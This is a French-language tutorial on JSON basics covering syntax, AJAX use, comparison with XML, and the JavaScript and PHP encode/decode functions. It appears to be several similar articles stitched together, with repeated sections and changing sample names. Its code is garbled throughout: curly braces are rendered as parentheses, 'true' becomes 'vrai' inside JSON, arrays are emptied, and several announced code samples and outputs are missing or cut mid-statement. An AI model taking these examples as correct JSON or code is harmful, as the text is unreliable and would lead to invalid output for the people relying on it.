langage json. JSON : les bases

Vous avez sûrement déjà entendu parler de JSON. Qu'est-ce que c'est? Que peut-il faire et comment l'utiliser ?

Dans ce tutoriel, nous aborderons les bases de JSON et aborderons les points suivants :

Qu’est-ce que JSON ?
A quoi sert JSON ?
Comment créer une chaîne JSON ?
Un exemple simple de chaîne JSON.
Comparons JSON et XML.
Comment travailler avec JSON en JavaScript et PHP ?

Qu’est-ce que JSON ?

JSON est un moyen simple, basé sur du texte, de stocker et de transmettre des données structurées. Avec une syntaxe simple, vous pouvez facilement stocker n'importe quoi, depuis un simple nombre jusqu'aux chaînes, tableaux et objets, en texte brut. Vous pouvez également lier des tableaux et des objets pour créer des structures de données complexes.

Une fois la chaîne JSON créée, il est facile de l'envoyer vers une autre application ou vers un autre emplacement du réseau car il s'agit de texte brut.

JSON présente les avantages suivants :

C'est compact.
Ses phrases sont faciles à lire et à composer aussi bien par les humains que par les ordinateurs.
Il peut être facilement converti en structure de données pour la plupart des langages de programmation (nombres, chaînes, booléens, tableaux, etc.)
De nombreux langages de programmation disposent de fonctions et de bibliothèques pour lire et créer des structures JSON.

Le nom JSON signifie JavaScript Object Notation. Comme son nom l'indique, il est basé sur une manière de définir des objets (un peu comme la création de tableaux associatifs dans d'autres langages) et des tableaux.

A quoi sert JSON ?

L'utilisation la plus courante de JSON consiste à envoyer des données du serveur au navigateur. Généralement, les données JSON sont fournies à l'aide d'AJAX, ce qui permet au navigateur et au serveur de communiquer sans avoir à recharger la page.

L'utilisateur clique sur une vignette de produit dans une boutique en ligne.

JavaScript exécuté sur le navigateur génère une requête AJAX au script PHP exécuté sur le serveur, transmettant l'ID du produit sélectionné.

Le script PHP obtient le nom du produit, la description, le prix et d'autres informations de la base de données. Ensuite, il compose une chaîne JSON à partir des données et l'envoie au navigateur.

JavaScript exécuté sur le navigateur reçoit la chaîne JSON, la décode et affiche les informations sur le produit sur la page pour l'utilisateur.

Vous pouvez également utiliser JSON pour envoyer des données du navigateur au serveur en passant une chaîne JSON comme paramètre aux requêtes GET ou POST. Mais cette méthode est moins courante, car le transfert de données via des requêtes AJAX peut être simplifié. Par exemple, l'ID du produit peut être inclus dans l'URL dans le cadre d'une requête GET.

La bibliothèque jQuery dispose de plusieurs méthodes, telles que getJSON() et parseJSON(), qui facilitent la récupération de données à l'aide de JSON via des requêtes AJAX.

Comment créer une chaîne JSON ?

Il existe quelques règles de base pour créer une chaîne JSON :

La chaîne JSON contient soit un tableau de valeurs, soit un objet (un tableau associatif de paires nom/valeur).
Tableau est placé entre crochets ([ et ]) et contient une liste de valeurs séparées par des virgules.
Un objet est entouré d'accolades (( et )) et contient une liste de paires nom/valeur séparées par des virgules.
paire nom/valeur se compose du nom du champ entre guillemets doubles, suivi de deux points (:) et de la valeur du champ.
Signification dans un tableau ou un objet, il peut y avoir :
- Nombre (entier ou virgule flottante)
- Chaîne (entre guillemets doubles)
- Valeur booléenne (vrai ou faux)
- Un autre tableau (mis entre crochets)
- Un autre objet (entouré d'accolades)
- valeur nulle

Pour inclure des guillemets doubles dans une chaîne, vous devez utiliser une barre oblique inverse : \" . Comme avec de nombreux langages de programmation, vous pouvez placer des caractères de contrôle et des codes hexadécimaux dans une chaîne en les faisant précéder d'une barre oblique inverse. Consultez le site Web JSON pour plus de détails.

Exemple de chaîne JSON simple

Ci-dessous un exemple de commande au format JSON :

( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [email protégé]", "contents": [ ( "productID": 34, "productName": "Super produit", "quantity": 1 ), ( "productID": 56, "productName": "Produit miracle", "quantity": 3 ) ], "orderCompleted": vrai )

Regardons la ligne en détail :

Nous créons un objet en utilisant des accolades (( et )).
L'objet a plusieurs paires nom/valeur : "orderID": 12345 Une propriété avec le nom "orderId" et une valeur entière 12345 "shopperName": "Vanya Ivanov" une propriété avec le nom "shopperName" et la valeur de chaîne "Vanya Ivanov " "e-mail de l'acheteur": " [email protégé]" Une propriété nommée "shopperEmail" avec une valeur de chaîne " [email protégé]" "contents": [ ... ] Une propriété nommée "contents" dont la valeur est un tableau "orderCompleted": true Une propriété nommée "orderCompleted" et la valeur booléenne true
Il y a 2 objets dans le tableau « contenu » représentant des éléments individuels dans la commande. Chaque objet contient 3 propriétés : productID , productName etQuantity .

À propos, puisque JSON est basé sur la déclaration d'objets JavaScript, vous pouvez rapidement et facilement faire de la chaîne JSON ci-dessus un objet JavaScript :

var cart = ( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [email protégé]", "contents": [ ( "productID": 34, "productName": "Super produit", "quantity": 1 ), ( "productID": 56, "productName": "Produit miracle", "quantity": 3 ) ], "orderCompleted": true );

Comparaison de JSON et XML

À bien des égards, vous pouvez considérer JSON comme une alternative au XML, du moins dans le domaine des applications Web. Le concept d'AJAX reposait à l'origine sur l'utilisation de XML pour transférer des données entre le serveur et le navigateur. Mais ces dernières années, JSON est devenu de plus en plus populaire pour le transport de données AJAX.

Si XML est une technologie éprouvée utilisée dans un bon nombre d'applications, JSON présente l'avantage d'être un format de données plus compact et plus facile à reconnaître.

Voici à quoi ressemblerait l’exemple d’objet XML ci-dessus :

N° de commande 12345 Nom du client Vanya Ivanov E-mail du client [email protégé] contenu productID 34 productName Super quantité de produit 1 productID 56 productName Produit miracle quantité 3 orderCompleted true

La version XML est nettement plus grande. En réalité, il comporte 1 128 caractères, alors que la version JSON ne comporte que 323 caractères. La version XML est également assez difficile à comprendre.

Bien sûr, c’est un exemple radical. Et il est possible de créer un enregistrement XML plus compact. Mais même cela sera nettement plus long que l’équivalent JSON.

Travailler avec une chaîne JSON en JavaScript

JSON a un format simple, mais créer manuellement une chaîne JSON est assez fastidieux. De plus, vous devez souvent prendre une chaîne JSON et convertir son contenu en une variable pouvant être utilisée dans le code.

La plupart des langages de programmation disposent d'outils permettant de convertir facilement des variables en chaînes JSON et vice versa.

Créer une chaîne JSON à partir d'une variable

JavaScript possède une méthode JSON.stringify() intégrée qui prend une variable et renvoie une chaîne JSON représentant son contenu. Par exemple, créons un objet JavaScript contenant les informations de commande de notre exemple, puis créons une chaîne JSON à partir de celui-ci :

Ce code produira :

Notez que la méthode JSON.stringify() renvoie une chaîne JSON sans espaces. Il est plus difficile à lire, mais il est plus compact pour la transmission sur le réseau.

Il existe plusieurs façons d'analyser une chaîne JSON en JavaScript, mais la plus sûre et la plus fiable consiste à utiliser la méthode JSON.parse() intégrée. Il reçoit une chaîne JSON et renvoie un objet ou un tableau JavaScript contenant les données. Par exemple:

var jsonString = " \ ( \ "orderID": 12345, \ "shopperName": "Vanya Ivanov", \ "shopperEmail": " [email protégé]", \ "contents": [ \ ( \ "productID": 34, \ "productName": "Super produit", \ "quantity": 1 \), \ ( \ "productID": 56, \ "productName": "Biens miracles", \"quantity": 3\ ) \ ], \"orderCompleted": true \ ) \"; var panier = JSON.parse(jsonString); alerte (cart.shopperEmail); alerte(cart.contents.productName);

Nous avons créé une variable jsonString qui contient la chaîne JSON de notre exemple de commande. Nous transmettons ensuite cette chaîne à la méthode JSON.parse(), qui crée un objet contenant les données JSON et le stocke dans la variable cart. Il ne reste plus qu'à vérifier en affichant les propriétés de l'objet shopperEmail et productName du tableau contents.

En conséquence, nous obtiendrons le résultat suivant :

Dans une application réelle, votre code JavaScript recevrait la commande sous forme de chaîne JSON dans une réponse AJAX du script serveur, transmettrait la chaîne à la méthode JSON.parse(), puis utiliserait les données pour l'afficher sur la page de l'utilisateur.

JSON.stringify() et JSON.parse() ont d'autres fonctionnalités, telles que l'utilisation de fonctions de rappel pour convertir certaines données de manière personnalisée. De telles options sont très utiles pour convertir diverses données en objets JavaScript appropriés.

Travailler avec une chaîne JSON en PHP

PHP, comme JavaScript, possède des fonctions intégrées pour travailler avec des chaînes JSON.

Créer une chaîne JSON à partir d'une variable PHP

La fonction json_encode() prend une variable PHP et renvoie une chaîne JSON représentant le contenu de la variable. Voici notre exemple de commande, écrit en PHP :

Ce code renvoie exactement la même chaîne JSON que dans l'exemple JavaScript :

("orderID":12345,"shopperName":"Vanya Ivanov","shopperEmail":" [email protégé]","contents":[("productID":34,"productName":"Super produit","quantity":1),("productID":56,"productName":"Produit miracle","quantity": 3)],"commandeCompleted":true)

Dans une application réelle, votre script PHP enverra cette chaîne JSON dans le cadre d'une réponse AJAX au navigateur, où le code JavaScript, à l'aide de la méthode JSON.parse(), l'analysera dans une variable pour l'afficher sur la page de l'utilisateur. .

Vous pouvez transmettre divers indicateurs comme deuxième argument à la fonction json_encode(). Avec leur aide, vous pouvez modifier les principes d'encodage du contenu des variables dans une chaîne JSON.

Créer une variable à partir d'une chaîne JSON

Pour convertir une chaîne JSON en variable PHP, utilisez la méthode json_decode(). Remplaçons notre exemple pour JavaScript par la méthode JSON.parse() par du code PHP :

Comme avec JavaScript, ce code produira :

[email protégé] Produit miracle

Par défaut, la fonction json_decode() renvoie les objets JSON sous forme d'objets PHP. Il existe des objets PHP génériques de la classe stdClass. C'est pourquoi nous utilisons -> pour accéder aux propriétés de l'objet dans l'exemple ci-dessus.

Si vous avez besoin d'un objet JSON comme tableau PHP associé, vous devez transmettre true comme deuxième argument à la fonction json_decode(). Par exemple:

$cart = json_decode($jsonString, true); echo $cart["shopperEmail"] . "
"; echo $cart["contents"]["productName"] . "
";

Ce code produira le même résultat :

[email protégé] Produit miracle

Vous pouvez également transmettre d'autres arguments à la fonction json_decode() pour spécifier la profondeur de récursion et comment gérer les grands entiers.

Conclusion

Bien que JSON soit facile à comprendre et à utiliser, il s’agit d’un outil très utile et flexible pour transférer des données entre applications et ordinateurs, notamment lors de l’utilisation d’AJAX. Si vous envisagez de développer une application AJAX, alors nul doute que JSON deviendra un outil indispensable dans votre atelier.

Qu'est-ce que JSON et que peut-il faire ? Dans cet article, vous apprendrez à utiliser JSON pour travailler facilement avec des données. Nous verrons également comment travailler avec JSON en utilisant PHP et JavaScript.

Si vous avez développé des sites Web ou des applications Web en général, il est probable que vous ayez entendu parler de JSON, du moins en passant. Mais que signifie exactement JSON ? Que peut faire ce format de données et comment peut-il être utilisé ?

Dans cet article, nous apprendrons les bases du travail avec le format json. Nous suivrons les sujets suivants :

Qu'est-ce que le format JSON ?
Comment créer des chaînes JSON ?
Exemple simple de données JSON
Comparaison de JSON avec XML

Commençons!

Qu'est-ce que le format JSON ?

JSON est un moyen simple, basé sur du texte, de stocker et de transmettre des données structurées. Avec une syntaxe simple, vous pouvez facilement stocker à la fois des nombres et des chaînes simples, ainsi que des tableaux et des objets, en n'utilisant rien d'autre que du texte. Vous pouvez également lier des objets et des tableaux, ce qui vous permet de créer des structures de données complexes.

Une fois la chaîne JSON créée, elle peut être facilement envoyée à n’importe quelle application ou ordinateur puisqu’il ne s’agit que de texte.

JSON présente de nombreux avantages :

C'est compact
Il est lisible par l’homme et facile à lire par les ordinateurs
Il peut être facilement converti en formats logiciels : valeurs numériques, chaînes, format booléen, valeur nulle, tableaux et tableaux associatifs.
Presque tous les langages de programmation ont des fonctions qui vous permettent de lire et de créer le format de données JSON.

Littéralement, l'abréviation JSON signifie JavaScript Object Notation. Comme décrit précédemment, ce format est basé sur la création d'objets, quelque chose de similaire aux tableaux associatifs dans d'autres langages de programmation.

À quelles fins JSON est-il utilisé ?

Surtout, json est utilisé pour échanger des données entre javascript et côté serveur (php). En d’autres termes, pour la technologie ajax. Ceci est très pratique lorsque vous transmettez plusieurs variables ou des tableaux de données entiers.

Voici à quoi cela ressemble dans un exemple :

L'utilisateur clique sur l'image miniature

JavaScript traite cet événement et envoie une requête ajax au script PHP, en transmettant l'ID de l'image.

Sur le serveur, php reçoit la description de l'image, le nom de l'image, l'adresse de la grande image et d'autres informations de la base de données. Après l'avoir reçu, il le convertit au format JSON et le renvoie sur la page de l'utilisateur.

JavaScript reçoit la réponse sous forme de JSON, traite les données, génère du code HTML et affiche une image agrandie avec une description et d'autres informations.

C'est ainsi que l'image est agrandie sans recharger la page dans le navigateur. Ceci est très pratique lorsque nous devons recevoir des données partielles ou transférer une petite quantité d'informations vers le serveur.

Le jQuery préféré de tous possède les fonctions getJSON() et parseJSON(), qui vous aident à travailler avec le format via des requêtes ajax.

Comment créer des chaînes JSON ?

Vous trouverez ci-dessous les règles de base pour créer des chaînes JSON :

La chaîne JSON contient à la fois un tableau de valeurs et un objet (un tableau associatif avec des paires nom/valeur).
Le tableau doit être entouré de crochets [ et ] et peut contenir une liste de valeurs séparées par une virgule.
Les objets sont entourés de bras bouclés ( et ) et contiennent également des paires nom/valeur séparées par des virgules.
Les paires nom/valeur sont constituées du nom du champ (entre guillemets) suivi de deux points (:) suivi de la valeur du champ.
Les valeurs d'un tableau ou d'un objet peuvent être :
- Numérique (fraction entière ou pointée)
- Chaînes (entourées de guillemets doubles)
- Booléen (vrai ou faux)
- Autres tableaux (entourés de crochets [ et ])
- Autres objets (entourés de bras bouclés ( et ))
- Valeur nulle

Important! Si vous utilisez des guillemets doubles dans les valeurs, échappez-les avec une barre oblique inverse : \". Vous pouvez également utiliser des caractères codés en hexadécimal, comme vous le faites dans d'autres langages de programmation.

Exemple simple de données JSON

L'exemple suivant montre comment enregistrer des données dans le « panier » d'une boutique en ligne en utilisant le format JSON :

("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [email protégé]", "contents": [ ( "productID": 34, "productName": "SuperWidget", "quantity": 1 ), ( "productID": 56, "productName": "WonderWidget", "quantity": 3 ) ], "orderCompleted": vrai )

Décomposons ces données pièce par pièce :

Au début et à la fin, nous utilisons des bras bouclés ( et ) pour indiquer clairement qu'il s'agit d'un objet.

À l’intérieur de l’objet, nous avons plusieurs paires nom/valeur :

"orderID": 12345 - champ nommé orderId et valeur 12345

"shopperName": "John Smith" - champ nommé shopperName et valeur John Smith

"shopperEmail": "johnsmith@ example.com" - comme pour le champ précédent, l'e-mail de l'acheteur est stocké ici.

"contents": [ ... ] - un champ nommé content dont la valeur est un tableau.

"orderCompleted": true - un champ nommé orderCompleted dont la valeur est true

À l'intérieur du tableau de contenu, nous avons deux objets qui affichent le contenu du panier. Chaque objet produit possède trois propriétés : productID, productName,Quantity.

Enfin, puisque JSON est identique aux objets en JavaScript, vous pouvez facilement prendre cet exemple et créer un objet JavaScript à partir de celui-ci :

var cart = ("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [email protégé]", "contents": [ ( "productID": 34, "productName": "SuperWidget", "quantity": 1 ), ( "productID": 56, "productName": "WonderWidget", "quantity": 3 ) ], "orderCompleted": true );

Comparaison de JSON avec XML

Dans la plupart des cas, vous considérerez JSON comme une alternative au XML, du moins dans les applications Web. Le concept Ajax utilise à l'origine XML pour échanger des données entre le serveur et le navigateur, mais ces dernières années, JSON est devenu plus populaire pour la transmission de données ajax.

Bien que XML soit une technologie éprouvée et utilisée par de nombreuses applications, les avantages du format JSON sont qu'il est plus compact et plus facile à écrire et à lire.

Voici l'exemple JSON ci-dessus, réécrit uniquement au format XML :

numéro de commande 12345 nom du client John Smith email du client [email protégé] contenu productID 34 productName SuperWidget quantité 1 productID 56 productName WonderWidget quantité 3 orderCompleted true

Comme vous pouvez le constater, il est plusieurs fois plus long que JSON. En fait, cet exemple comporte 1 128 caractères, alors que la version JSON ne comporte que 323 caractères. La version XML est également plus difficile à lire.

Bien entendu, on ne peut pas juger sur un seul exemple, mais même de petites quantités d'informations occupent moins de place au format JSON qu'au format XML.

Comment travailler avec JSON via PHP et JS ?

Venons-en maintenant à la partie la plus intéressante : le côté pratique du format JSON. Tout d'abord, rendons hommage à JavaScript, puis nous verrons comment manipuler JSON via PHP.

Création et lecture du format JSON à l'aide de JavaScript

Même si le format JSON est simple, il est difficile de l'écrire manuellement lors du développement d'applications Web. De plus, vous devez souvent convertir des chaînes JSON en variables puis les utiliser dans votre code.

Heureusement, de nombreux langages de programmation fournissent des outils pour travailler avec les chaînes JSON. Dont l'idée principale :

Pour créer des chaînes JSON, vous commencez avec des variables contenant certaines valeurs, puis vous les transmettez via une fonction qui transforme les données en chaîne JSON.

En lisant des chaînes JSON, vous commencez avec une chaîne JSON contenant certaines données, passez la chaîne via une fonction qui crée des variables contenant les données.

Voyons comment cela se fait en JavaScript.

Créer une chaîne JSON à partir d'une variable JavaScript

JavaScript possède une méthode intégrée, JSON.stringify(), qui prend une variable javascript et renvoie une chaîne json représentant le contenu de la variable. Par exemple, utilisons un objet créé précédemment et convertissons-le en chaîne JSON.

Voici ce qui apparaîtra à l'écran :

("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [email protégé]", "contents":[("productID":34,"productName":"SuperWidget","quantity":1), ("productID":56,"productName":"WonderWidget","quantity":3) ], "orderCompleted": vrai)

Notez que JSON.stringify() génère des chaînes JSON sans espaces. C'est difficile à lire, mais c'est plus compact, ce qui est important lors de l'envoi de données.

Création d'une variable JavaScript à partir d'une chaîne JSON

Il existe plusieurs façons d'analyser les chaînes JSON, la plus acceptable et la plus sûre consiste à utiliser la méthode JSON.parse(). Il prend une chaîne JSON et renvoie un objet ou un tableau JavaScript contenant les données JSON. Voici un exemple :

var jsonString = " \ ( \ "orderID": 12345, \ "shopperName": "John Smith", \ "shopperEmail": " [email protégé]", \ "contents": [ \ ( \ "productID": 34, \ "productName": "SuperWidget", \ "quantity": 1 \), \ ( \ "productID": 56, \ "productName": " WonderWidget", \"quantity": 3\ ) \ ], \"orderCompleted": true \ ) \"; var panier = JSON.parse(jsonString); alerte (cart.shopperEmail); alerte(cart.contents.productName);

Ici, nous avons créé une variable, jsonString, qui contient la chaîne JSON des exemples fournis précédemment. Ensuite, nous avons transmis cette chaîne via JSON.parse() pour créer un objet contenant des données JSON, qui ont été stockées dans la variable cart. Enfin, nous vérifions la disponibilité des données et affichons certaines informations à l'aide de la fenêtre modale d'alerte.

Les informations suivantes seront affichées :

Dans une vraie application Web, votre code JavaScript doit recevoir une chaîne JSON en réponse du serveur (après l'envoi d'une requête AJAX), puis analyser la chaîne et afficher le contenu du panier à l'utilisateur.

Création et lecture du format JSON avec PHP

PHP, comme JavaScript, possède des fonctions qui permettent de convertir des variables au format JSON, et vice versa. Regardons-les.

Créer une chaîne JSON à partir d'une variable PHP

Json_encode() prend une variable PHP et renvoie une chaîne JSON représentant les données de la variable. Voici notre exemple de « panier » écrit en PHP :

Ce code produit exactement le même résultat que l'exemple JavaScript : une chaîne JSON valide représentant le contenu des variables :

("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [email protégé]","contents":[("productID":34,"productName":"SuperWidget","quantity":1),("productID":56,"productName":"WonderWidget","quantity":3) ], "commandeCompleted": vrai)

En réalité, votre script PHP doit envoyer une chaîne JSON en réponse à une requête AJAX, où JavaScript utilisera JSON.parse() pour transformer la chaîne en variables.

Dans la fonction json_encode(), vous pouvez spécifier des paramètres supplémentaires qui vous permettent de convertir certains caractères en hexadécimal.

Créer une variable PHP à partir d'une chaîne JSON

Semblable à ce qui précède, il existe une fonction json_decode() qui vous permet de décoder les chaînes JSON et de placer le contenu dans des variables.

Comme avec JavaScript, ce code affichera ce qui suit :

[email protégé] WonderWidget

Par défaut, json_decode() renvoie les objets JSON sous forme d'objets PHP. Semblable à la syntaxe régulière, nous utilisons -> pour accéder aux propriétés d'un objet.

Si vous souhaitez ultérieurement utiliser les données comme tableau associatif, transmettez simplement le deuxième paramètre true à la fonction json_decode(). Voici un exemple :

$cart = json_decode($jsonString, true); echo $cart["shopperEmail"] . "
"; echo $cart["contents"]["productName"] . "
";

Cela produit le même résultat :

[email protégé] WonderWidget

Vous pouvez également transmettre des arguments supplémentaires à la fonction json_decode() pour déterminer le traitement des grands nombres et la récursivité.

En conclusion sur le format JSON

Si vous envisagez de créer une application web utilisant la technologie Ajax, vous utiliserez certainement le format JSON pour échanger des données entre le serveur et le navigateur.

JSON est un format de texte pour l'enregistrement de données. Il vous permet de représenter sous forme de texte à la fois un nombre ou une chaîne unique et des structures complexes, par exemple des tableaux contenant des données. L'utilisation de ce format d'enregistrement est pratique car il est lisible et intuitif, tout en permettant de stocker des structures de données très complexes. De plus, il est plus compact que XML, donc à mon avis il est plus préférable pour échanger des données entre un navigateur web et un serveur.

Syntaxe JSON avec exemples

Le format json est généralement écrit en 2 variantes :

1. Séquence de valeurs. Par exemple, la séquence 10, 15 et « test » au format JSON ressemblerait à ceci :

2. Enregistrement sous forme de paires clé : valeur. Par exemple:

(« Nom complet » : « Ivanov Sergey », « Date de naissance » : « 03/09/1975 »)

Un exemple un peu plus complexe :

("Nom complet": "Ivanov Sergey", "Adresse": ("Ville": "Moscou", "Rue": "Pyatnitskaya", "Maison": "35") )

Fonctions PHP pour travailler avec le format JSON

En langage PHP depuis la version 5.2. il n'y a que 4 fonctions :

json_decode - Décode une chaîne JSON (obtient les données d'une chaîne au format json)
json_encode - Renvoie une représentation JSON des données (convertit les données en chaîne json)
json_last_error_msg - Renvoie une chaîne indiquant le message d'erreur du dernier appel à json_encode() ou json_decode()
json_last_error - Renvoie la dernière erreur

En gros, pour la plupart, seules deux fonctions sont utilisées : json_encode et json_decode. Je n'entrerai pas dans les détails de leur syntaxe, vous pouvez consulter php.net pour plus de détails. Exemple d'utilisation :

$arr1 = tableau(0,1,2); $json_str = json_encode($arr1); echo $json_str; // affichera une chaîne json : $arr2 = json_decode($json_str); écho $arr2; // affichera : 1

Attention : lors de l'encodage de données en russe au format JSON, la fonction json_encode convertit les caractères russes en Unicode, c'est-à-dire les remplace par \uXXXX et ainsi la chaîne json devient illisible pour les humains (mais compréhensible pour le navigateur). Si vous souhaitez éviter la conversion en Unicode (par exemple, lors du débogage du code), vous pouvez simplement utiliser l'option JSON_UNESCAPED_UNICODE.

De plus, pour que les barres obliques d'échappement ne soient pas ajoutées lors du codage et pour que les chaînes contenant des nombres soient codées sous forme de nombres, vous pouvez utiliser JSON_UNESCAPED_SLASHES et JSON_NUMERIC_CHECK. De ce fait, pour rendre la chaîne json lisible par un humain, nous ferons par exemple ceci :

$arr = array("fio" => "Ivanov Sergueï", "age" => "32", "vk_url" => "https://vk.com/id11111"); echo json_encode($arr, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);

Sans utiliser ces options, la ligne ressemblerait à ceci :

( "fio" : "\u0418\u0432\u0430\u043d\u043e\u0432 \u0421\u0435\u0440\u0433\u0435\u0439", "age" : "32", "vk_url": "https:\/\ /vk.com\/id11111" )

et en utilisant les options, on obtient une ligne lisible :

( "fio" : "Ivanov Sergueï", "âge" : 32, "vk_url" : "https://vk.com/id11111" )

Encore un point : si vous souhaitez que la fonction json_decode renvoie un tableau lors du décodage d'une chaîne json, ajoutez simplement un deuxième paramètre à la fonction égal à true.

$json_str = "( "a":1, "b":2, "c":3 )"; $obj = json_decode($json_str); // récupère l'objet echo $obj->a; // affichera 1 $arr = json_decode($json_str, true); // récupère un tableau associatif echo $arr["a"]; // imprimera 1

Ceci conclut mon examen des fonctions PHP.

Fonctions JavaScript pour travailler avec le format JSON

Commençons par le fait que le format JSON a été inventé à l'origine pour le langage JavaScript et est ensuite devenu simplement un format de texte distinct utilisé dans différents langages. Apparemment, c'est pourquoi la syntaxe JSON est très similaire à la syntaxe d'écriture d'objets et de tableaux ordinaires.

// Exemple de tableau en JavaScript arr = ; alerte(arr); // affichera 1 // Exemple d'objet en JavaScript obj = ( "name": "Vasya", "age": 35, "isAdmin": false ) alert(obj.name); // affichera "Vasya"

Fonctions JavaScript utilisées pour convertir vers et depuis le format JSON :

JSON.parse - décodage d'une chaîne JSON (conversion d'une chaîne en objets et/ou tableaux)
JSON.stringify - renvoie une représentation JSON des données (conversion d'objets et/ou de tableaux en chaîne json)

Un exemple simple de décodage d'une chaîne json en un tableau avec des nombres :

Chaîne = "" ; arr = JSON.parse(str); alerte(arr); // imprimera 1

Un exemple de conversion (sérialisation) d'un objet en chaîne JSON :

Obj = ( "nom": "Vasya", "age": 35, "isAdmin": false ) alert(JSON.stringify(obj)); // affichera ("name": "Vasya", "age": 35, "isAdmin": false)

Lors de la sérialisation (conversion) d'un objet en chaîne JSON, la méthode toJSON de cet objet est appelée, si elle existe. S'il n'y a pas de méthode, alors toutes les propriétés de l'objet sont répertoriées. Un exemple de conversion d'un objet avec la méthode toJSON :

Obj = ( "name": "Vasya", "age": 35, "isAdmin": false, toJSON: function() ( return this.age; ) ) alert(JSON.stringify(obj)); // imprimera 35

Exemples d'application pratique du format JSON

En fait, j'utilise personnellement le format JSON dans 2 situations principales :

1. Transfert de données entre le navigateur et le serveur à l'aide de requêtes Ajax.

Par exemple, nous avons une page sur laquelle nous devons mettre à jour les données sans recharger la page. Disons que vous avez besoin d'informations avec une liste d'employés et leurs données à « télécharger » depuis le serveur.

En JavaScript, à l'aide de jQuery, nous faisons simple et affichons les données sous forme de tableau dans le navigateur :

$.getJSON("get-info.php").success(function(data) ( // requête ajax, les données du serveur seront écrites dans la variable de données htmlstr = "

"; for (var i=0; i "Ivanov Sergueï", "anniversaire" => "03/09/1975"); $user_info = array ("fio" => "Alexey Petrov", "anniversaire" => " 18/09. 1983"); echo json_encode($user_info); exit;

Dans cet exemple, la chaîne JSON transmise du serveur au navigateur ressemblait à ceci :

[("fio": "Sergey Ivanov", "anniversaire": "09/03/1975"), ("fio": "Alexeï Petrov", "anniversaire": " 18/09/1983 ")]

Je n'ai délibérément pas montré la ligne en forme d'« arbre », car il est transmis exactement sous cette forme. Et comme vous pouvez le constater, l'enregistrement des données au format JSON s'est avéré très compact, ce qui signifie que le transfert de ces données du serveur vers le navigateur sera quasi instantané.

2. Écriture de structures de données complexes dans la base de données.

Parfois, il existe des situations où il n'est pas conseillé de créer une autre table dans la base de données afin de stocker diverses données. Disons qu'un utilisateur inscrit sur le site a la possibilité de personnaliser la couleur de fond et la couleur du texte.

Au lieu de créer un autre tableau pour 2 paramètres, vous pouvez simplement créer une colonne de texte dans le tableau avec la liste des utilisateurs dans laquelle placer les données des paramètres utilisateur. La demande de mise à jour des paramètres pourrait alors, par exemple, ressembler à ceci :

MISE À JOUR des utilisateurs SET settings = "("background-color": "#FFFFFF", "text-color": "#000000")" OÙ user_id = 10

À l'avenir, après avoir reçu des informations de la table des utilisateurs, le script php pourra facilement les reconvertir en un tableau avec des paramètres. Par exemple, si la variable $user_info contient des données obtenues pour un utilisateur à partir de la table users, obtenir un tableau avec des paramètres est très simple :

$settings = json_decode($user_info["settings"], true); echo "Couleur d'arrière-plan = ".$settings["background-color"]; echo "Couleur du texte = ".$settings["text-color"];

Au format JSON, vous pouvez également, par exemple, enregistrer dans la base de données les options de produits sélectionnées par l'acheteur.

("15":["45","47"], "18":"52") // l'option 15 a les valeurs 45 et 47 sélectionnées, et l'option 18 a la valeur 52 sélectionnée

En principe, vous pouvez même écrire tout le contenu du panier au format JSON, par exemple, comme ceci :

( "id_utilisateur" : 10, "id_session" : "2c2l3h4ii271aojentejtdcmh3", "produits": [ ( "id_produit" : 15, "options" : ( "15" : , "18" : 52), "quantité" : 1, "prix" : 1500 ), ( "product_id" : 16, "options" : ( "15" : , "18" : 51 ), "quantité" : 2, "prix" : 1000 ) ] )

Dans sa forme habituelle non arborescente, cette chaîne JSON ressemblerait à ceci :

("user_id":10,"session_id":("15":,"18":52),,"quantité":1 , "prix":1500),("product_id":16,"options":("15":,"18":51),,"quantité":2,"prix":1000)])

Ainsi, comme le montrent les exemples, presque toutes les informations peuvent être stockées et transmises au format JSON.

JSON (JavaScript Object Notation) est un format de transfert de données. Comme son nom l’indique, le format est basé sur le langage de programmation JavaScript, mais il est également disponible dans d’autres langages (Python, Ruby, PHP, Java).

JSON utilise l'extension .json. Lorsqu'elle est utilisée dans d'autres formats de fichiers (tels que .html), la chaîne JSON est citée ou attribuée à une variable. Ce format est facilement transféré entre le serveur Web et le client ou le navigateur.

Léger et facile à comprendre, JSON est une excellente alternative au XML.

Ce tutoriel vous présentera les avantages, les objets, la structure générale et la syntaxe de JSON.

Syntaxe et structure JSON

Un objet JSON se présente sous forme de valeur-clé et est généralement écrit entre accolades. Lorsque vous travaillez avec JSON, tous les objets sont stockés dans un fichier .json, mais ils peuvent également exister en tant qu'objets distincts dans le contexte du programme.

L'objet JSON ressemble à ceci :

"first_name" : "Jean",
"nom" : "Smith",
"localisation" : "Londres",
"en ligne" : vrai,
"abonnés" : 987

Ceci est un exemple très simple. Un objet JSON peut contenir plusieurs lignes.

Comme vous pouvez le voir, un objet est constitué de paires clé-valeur entourées d’accolades. La plupart des données en JSON sont écrites sous forme d'objets.

Un deux-points est placé entre la clé et la valeur. Après chaque paire, vous devez mettre une virgule. Le résultat est:

"clé" : "valeur", "clé" : "valeur", "clé" : "valeur"

La clé JSON est à gauche. La clé doit être placée entre guillemets doubles. Toute chaîne valide peut être utilisée comme clé. Au sein d'un objet, toutes les clés doivent être uniques. La clé peut contenir un espace (« prénom »), mais la programmation peut avoir des difficultés à accéder à une telle clé. Par conséquent, au lieu d’un espace, il est préférable d’utiliser un trait de soulignement (« prénom »).

Les valeurs JSON se trouvent sur le côté droit de la colonne. N'importe quel type de données simple peut être utilisé comme valeur :

Cordes
Nombres
Objets
Tableaux
Données booléennes (vrai ou faux)

Les valeurs peuvent également être représentées par des types de données complexes (par exemple, des objets ou des tableaux JSON).

JSON prend en charge une syntaxe individuelle pour chacun des types de données répertoriés ci-dessus : si la valeur est représentée par une chaîne, elle sera alors entre guillemets, mais s'il s'agit d'un nombre, elle ne le sera pas.

Généralement, les données des fichiers .json sont écrites dans une colonne, mais JSON peut également être écrit dans une ligne :

( "first_name" : "John", "last_name" : "Smith", "online" : true, )

C'est ainsi que les données JSON sont généralement écrites dans d'autres types de fichiers.

